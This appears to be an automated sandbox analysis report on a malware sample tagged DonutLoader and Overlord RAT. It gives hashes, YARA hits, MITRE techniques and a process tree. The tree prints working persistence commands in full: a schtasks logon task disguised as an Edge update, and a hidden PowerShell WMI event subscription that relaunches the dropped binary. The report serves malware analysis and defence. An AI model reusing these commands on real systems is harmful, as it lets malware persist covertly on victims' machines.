donutloader | 5101d15e1afec27819a5870960cac84e0b2d737b62c603badeb1f91d03618b3d

Analysis

max time kernel
82s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 02:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
Size 17.3MB
Sample260804-dcqa3abh62
SHA256 5101d15e1afec27819a5870960cac84e0b2d737b62c603badeb1f91d03618b3d
MD5 61db4683746da580f865c9801d6a6227
SHA1 1d476f7874ad007bc110fe58c5cbe6af4557a66e
SHA512 0e6f0da3ac543dd4064bbac796b243c592ad9289b6a507698355ec162f6e0acf7a6e2c0d0b8cb19b365eee0bedc378df43fc0776483f74f4713591156d0c9b37
SSDEEP 393216:j/fSE4R5lzs6wmy2TRT//cUcnRgJs58ibUdmCZZKPOz:j/wRrzj1V/0syhbwtbKPOz
TLSH
T19F071207BCA108FAC0AE937189A256977B75BC590F3263DB2E50B6782FB2BD45C75304
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution donutloader overlord loader persistence privilege_escalation rat

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader
Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral1/memory/4076-1211-0x0000027D461A0000-0x0000027D46FB1000-memory.dmp	family_donutloader

Detects Overlord RAT 3 IoCs

resource	yara_rule
behavioral1/memory/696-1219-0x000001BA6E4D0000-0x000001BA72B0E000-memory.dmp	family_overlord
behavioral1/memory/2760-1243-0x0000019B520A0000-0x0000019B566DE000-memory.dmp	family_overlord
behavioral1/memory/4560-1246-0x00000120E6BC0000-0x00000120EB1FE000-memory.dmp	family_overlord

Detects executables referencing many IR and analysis tools 11 IoCs

resource	yara_rule
behavioral1/files/0x000700000002434e-5.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-81.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-138.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-157.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-234.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-252.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-272.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-292.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/files/0x0007000000024352-311.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/4292-1212-0x00007FF7EAA90000-0x00007FF7EBC3D000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/2872-1233-0x00007FF712A80000-0x00007FF713C2D000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Detects executables referencing virtualization MAC addresses 11 IoCs

resource	yara_rule
behavioral1/files/0x000700000002434e-5.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-81.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-138.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-157.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-234.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-252.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-272.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-292.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/files/0x0007000000024352-311.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/4292-1212-0x00007FF7EAA90000-0x00007FF7EBC3D000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral1/memory/2872-1233-0x00007FF712A80000-0x00007FF713C2D000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6896	powershell.exe
7356	powershell.exe
1596	powershell.exe
1772	powershell.exe
5496	powershell.exe
5540	powershell.exe
7412	powershell.exe
8960	powershell.exe
8500	powershell.exe
8156	powershell.exe
2940	powershell.exe
7096	powershell.exe
2312	powershell.exe
9880	powershell.exe
10152	powershell.exe
6008	powershell.exe
4400	powershell.exe
3876	powershell.exe
8940	powershell.exe
6724	powershell.exe
1644	powershell.exe
1772	powershell.exe
2836	powershell.exe
5780	powershell.exe
7028	powershell.exe
7004	powershell.exe
9328	powershell.exe
4856	powershell.exe
5172	powershell.exe
3636	powershell.exe
7576	powershell.exe
4024	powershell.exe
8444	powershell.exe
7368	powershell.exe
3312	powershell.exe
5892	powershell.exe
3128	powershell.exe
4712	powershell.exe
5548	powershell.exe
6416	powershell.exe
6608	powershell.exe
7672	powershell.exe
7372	powershell.exe
9604	powershell.exe
5220	powershell.exe
6032	powershell.exe
8392	powershell.exe
5280	powershell.exe
6540	powershell.exe
7320	powershell.exe
8188	powershell.exe
6156	powershell.exe
1468	powershell.exe
5288	powershell.exe
6840	powershell.exe
8140	powershell.exe
9000	powershell.exe
4748	powershell.exe
5760	powershell.exe
8680	powershell.exe
3152	powershell.exe
1700	powershell.exe
4952	powershell.exe
2764	powershell.exe

Creates a file in the Startup directory 1 TTPs 55 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

Executes dropped EXE 54 IoCs

pid	Process
3740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
696	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4292	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1480	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3276	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2800	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2872	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3364	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2760	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4560	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4796	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
836	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5004	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1592	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5136	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5412	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5684	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5948	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1676	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5572	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5804	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5132	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5544	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2212	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5604	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1224	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2340	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
5288	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6336	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6652	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6944	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
176	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6456	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6820	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6240	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6752	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7048	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6792	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
6400	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
408	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1172	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7228	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7492	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7780	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
8056	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7288	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7820	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
8032	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7340	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7936	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
7648	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe

Adds Run key to start application 2 TTPs 55 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Drops file in System32 directory 55 IoCs

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2408	schtasks.exe
6412	schtasks.exe
8120	schtasks.exe
8588	schtasks.exe
804	schtasks.exe
6780	schtasks.exe
7620	schtasks.exe
9000	schtasks.exe
5392	schtasks.exe
368	schtasks.exe
7012	schtasks.exe
5672	schtasks.exe
7664	schtasks.exe
4060	schtasks.exe
5744	schtasks.exe
5360	schtasks.exe
5172	schtasks.exe
6400	schtasks.exe
6248	schtasks.exe
8376	schtasks.exe
408	schtasks.exe
2240	schtasks.exe
5472	schtasks.exe
6016	schtasks.exe
7284	schtasks.exe
10136	schtasks.exe
1908	schtasks.exe
7844	schtasks.exe
8956	schtasks.exe
360	schtasks.exe
5512	schtasks.exe
5836	schtasks.exe
3236	schtasks.exe
6508	schtasks.exe
7008	schtasks.exe
5404	schtasks.exe
9312	schtasks.exe
4664	schtasks.exe
5224	schtasks.exe
2388	schtasks.exe
5192	schtasks.exe
7648	schtasks.exe
8428	schtasks.exe
4576	schtasks.exe
3444	schtasks.exe
6748	schtasks.exe
5400	schtasks.exe
8664	schtasks.exe
8940	schtasks.exe
7472	schtasks.exe
7664	schtasks.exe
2388	schtasks.exe
6072	schtasks.exe
6708	schtasks.exe
6540	schtasks.exe
7900	schtasks.exe
8944	schtasks.exe
2388	schtasks.exe
5224	schtasks.exe
8928	schtasks.exe
8820	schtasks.exe
9864	schtasks.exe
2616	schtasks.exe
4448	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4076	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4076	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1644	powershell.exe
1644	powershell.exe
3740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2808	powershell.exe
2808	powershell.exe
696	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
696	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1468	powershell.exe
4292	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4292	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3312	powershell.exe
3312	powershell.exe
1468	powershell.exe
1480	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1480	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1772	powershell.exe
1772	powershell.exe
3276	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3276	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4856	powershell.exe
4856	powershell.exe
4856	powershell.exe
2800	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2800	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4024	powershell.exe
4024	powershell.exe
4024	powershell.exe
2872	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2872	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3128	powershell.exe
3128	powershell.exe
3128	powershell.exe
3364	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3364	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3756	powershell.exe
3756	powershell.exe
3756	powershell.exe
2760	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
2760	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
4560	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4560	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
736	powershell.exe
736	powershell.exe
736	powershell.exe
4796	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4796	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
3368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
3368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
1740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1772	powershell.exe
1772	powershell.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	3128	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeDebugPrivilege	5496	powershell.exe
Token: SeDebugPrivilege	5760	powershell.exe
Token: SeDebugPrivilege	6032	powershell.exe
Token: SeDebugPrivilege	5280	powershell.exe
Token: SeDebugPrivilege	5540	powershell.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	5288	powershell.exe
Token: SeDebugPrivilege	5548	powershell.exe
Token: SeDebugPrivilege	5284	powershell.exe
Token: SeDebugPrivilege	5780	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeDebugPrivilege	5172	powershell.exe
Token: SeDebugPrivilege	5892	powershell.exe
Token: SeDebugPrivilege	6416	powershell.exe
Token: SeDebugPrivilege	6724	powershell.exe
Token: SeDebugPrivilege	7028	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	6540	powershell.exe
Token: SeDebugPrivilege	7004	powershell.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeDebugPrivilege	6608	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	6840	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeDebugPrivilege	7096	powershell.exe
Token: SeDebugPrivilege	6896	powershell.exe
Token: SeDebugPrivilege	7320	powershell.exe
Token: SeDebugPrivilege	7576	powershell.exe
Token: SeDebugPrivilege	7864	powershell.exe
Token: SeDebugPrivilege	8140	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	7672	powershell.exe
Token: SeDebugPrivilege	7384	powershell.exe
Token: SeDebugPrivilege	7368	powershell.exe
Token: SeDebugPrivilege	8188	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 2616	4076	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	87
PID 4076 wrote to memory of 1644	4076	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	88
PID 3740 wrote to memory of 408	3740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	91
PID 3740 wrote to memory of 2808	3740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	92
PID 696 wrote to memory of 4576	696	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	95
PID 696 wrote to memory of 1468	696	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	96
PID 4292 wrote to memory of 4060	4292	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	99
PID 4292 wrote to memory of 3312	4292	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	100
PID 1480 wrote to memory of 4448	1480	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	135
PID 1480 wrote to memory of 1772	1480	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	148
PID 3276 wrote to memory of 3444	3276	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	107
PID 3276 wrote to memory of 4856	3276	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	108
PID 2800 wrote to memory of 2240	2800	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	111
PID 2800 wrote to memory of 4024	2800	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	113
PID 2872 wrote to memory of 2680	2872	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	145
PID 2872 wrote to memory of 3128	2872	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	117
PID 3364 wrote to memory of 2408	3364	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	121
PID 3364 wrote to memory of 3756	3364	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	122
PID 2760 wrote to memory of 4664	2760	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	127
PID 2760 wrote to memory of 1596	2760	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	128
PID 4560 wrote to memory of 2388	4560	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	159
PID 4560 wrote to memory of 736	4560	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	132
PID 4796 wrote to memory of 4448	4796	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	135
PID 4796 wrote to memory of 4712	4796	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	136
PID 3368 wrote to memory of 3236	3368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	140
PID 3368 wrote to memory of 4952	3368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	141
PID 1740 wrote to memory of 556	1740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	147
PID 1740 wrote to memory of 1772	1740	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	148
PID 836 wrote to memory of 1908	836	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	181
PID 836 wrote to memory of 4748	836	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	152
PID 5004 wrote to memory of 2388	5004	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	159
PID 5004 wrote to memory of 2764	5004	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	156
PID 1592 wrote to memory of 2388	1592	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	159
PID 1592 wrote to memory of 2836	1592	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	160
PID 2368 wrote to memory of 368	2368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	163
PID 2368 wrote to memory of 2940	2368	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	164
PID 5136 wrote to memory of 5192	5136	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	167
PID 5136 wrote to memory of 5220	5136	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	168
PID 5412 wrote to memory of 5472	5412	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	171
PID 5412 wrote to memory of 5496	5412	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	172
PID 5684 wrote to memory of 5744	5684	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	175
PID 5684 wrote to memory of 5760	5684	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	176
PID 5948 wrote to memory of 6016	5948	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	179
PID 5948 wrote to memory of 6032	5948	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	193
PID 1676 wrote to memory of 5132	1676	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	194
PID 1676 wrote to memory of 5280	1676	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	184
PID 5572 wrote to memory of 5512	5572	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	187
PID 5572 wrote to memory of 5540	5572	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	188
PID 5804 wrote to memory of 5996	5804	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	191
PID 5804 wrote to memory of 6008	5804	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	192
PID 5132 wrote to memory of 5392	5132	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	195
PID 5132 wrote to memory of 5288	5132	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	218
PID 5544 wrote to memory of 5836	5544	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	199
PID 5544 wrote to memory of 5548	5544	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	200
PID 2212 wrote to memory of 5360	2212	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	203
PID 2212 wrote to memory of 5284	2212	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	204
PID 5604 wrote to memory of 6072	5604	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	207
PID 5604 wrote to memory of 5780	5604	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	208
PID 1224 wrote to memory of 5224	1224	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	215
PID 1224 wrote to memory of 3152	1224	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	217
PID 2340 wrote to memory of 5224	2340	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	215
PID 2340 wrote to memory of 5172	2340	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	219
PID 5288 wrote to memory of 5172	5288	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	219
PID 5288 wrote to memory of 5892	5288	2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe	220

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-6tsl6ri05q /tr C:\Windows\System32\0knlrrt97q\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\0knlrrt97q\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1644

C:\Windows\System32\0knlrrt97q\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\0knlrrt97q\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wuutnw8gis /tr C:\Windows\System32\1ran7glbhs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\1ran7glbhs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2808

C:\Windows\System32\1ran7glbhs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\1ran7glbhs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:696
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-2a37tm2dec /tr C:\Windows\System32\1dkecoxubf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\1dkecoxubf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1468

C:\Windows\System32\1dkecoxubf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\1dkecoxubf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
